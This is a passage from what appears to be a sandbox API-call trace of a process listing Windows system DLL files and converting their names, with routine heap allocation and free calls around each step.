cFileName="adprovider.dll", cAlternateFileName="")) returned 1 [0169.454] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.454] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0169.454] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0x115c288, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 14 [0169.454] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.454] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.454] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.454] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.454] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.454] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b68a4f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b68a4f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b68a4f3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2da00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="adsldp.dll", cAlternateFileName="")) returned 1 [0169.454] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.454] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0169.454] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0x115c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDP.DLL", lpUsedDefaultChar=0x0) returned 10 [0169.454] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.454] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.454] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.454] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.454] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.454] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9f1b122, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf9f1b122, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="adsldpc.dll", cAlternateFileName="")) returned 1 [0169.454] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.454] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0169.454] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0x115c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDPC.DLL", lpUsedDefaultChar=0x0) returned 11 [0169.454] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.454] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.454] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.454] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.455] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.455] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf66b897d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf66b897d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12e00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="adsmsext.dll", cAlternateFileName="")) returned 1 [0169.455] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.455] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0169.455] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0x115c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSMSEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0169.455] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.455] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.455] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.455] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.455] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.455] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfad634c2, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xfad634c2, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dcf4280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3fa00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="adsnt.dll", cAlternateFileName="")) returned 1 [0169.455] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.455] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0169.455] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0x115c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSNT.DLL", lpUsedDefaultChar=0x0) returned 9 [0169.455] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.455] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.455] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.455] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.455] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.455] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fc81ff4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2fc81ff4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf1def050, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa6200, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="adtschema.dll", cAlternateFileName="")) returned 1 [0169.455] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.455] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0169.455] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0x115c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADTSCHEMA.DLL", lpUsedDefaultChar=0x0) returned 13 [0169.455] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.455] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.455] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.455] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.455] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.455] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b0c6f80, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b0c6f80, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b0ed0e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9c600, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="advapi32.dll", cAlternateFileName="")) returned 1 [0169.455] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.456] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0169.456] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0x115c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVAPI32.DLL", lpUsedDefaultChar=0x0) returned 12 [0169.456] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.456] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.456] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.456] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.456] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.456] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0777c0d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa0777c0d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7de49f40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ee00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="advpack.dll", cAlternateFileName="")) returned 1 [0169.456] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.456] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0169.456] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0x115c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVPACK.DLL", lpUsedDefaultChar=0x0) returned 11 [0169.456] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.456] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.456] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.456] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.456] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.456] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e862c71, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x5e862c71, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x7de71040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="aecache.dll", cAlternateFileName="")) returned 1 [0169.456] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.456] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0169.456] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0x115c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AECACHE.DLL", lpUsedDefaultChar=0x0) returned 11 [0169.456] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.456] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.456] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.456] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.456] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.456] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c6f412, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x79c6f412, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xf1f20320, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="aeevts.dll", cAlternateFileName="")) returned 1 [0169.456] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.456] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0169.456] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0x115c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AEEVTS.DLL", lpUsedDefaultChar=0x0) returned 10 [0169.457] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.457] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.457] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.457] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.457] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.457] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2994413f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x2994413f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e0609f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="AltTab.dll", cAlternateFileName="")) returned 1 [0169.457] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.457] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0169.457] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0x115c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALTTAB.DLL", lpUsedDefaultChar=0x0) returned 10 [0169.457] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.457] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.457] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.457] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.457] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.457] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a29ac8e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a29ac8e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a29ac8e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="amstream.dll", cAlternateFileName="")) returned 1 [0169.457] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.457] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0169.457] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0x115c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMSTREAM.DLL", lpUsedDefaultChar=0x0) returned 12 [0169.457] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.457] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.457] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.457] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.457] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.457] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76fcd8be, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x76fcd8be, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e0853e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="amxread.dll", cAlternateFileName="")) returned 1 [0169.457] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.457] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0169.457] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0x115c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMXREAD.DLL", lpUsedDefaultChar=0x0) returned 11 [0169.457] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.457] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.458] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.458] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.458] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.458] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41bceeb, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xd41bceeb, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e4d7330, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a8c00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="apds.dll", cAlternateFileName="")) returned 1 [0169.458] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.458] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0169.458] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0x115c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APDS.DLL", lpUsedDefaultChar=0x0) returned 8 [0169.458] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.458] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.458] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.458] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.458] RtlFreeHeap (HeapHandle=0x1150000, 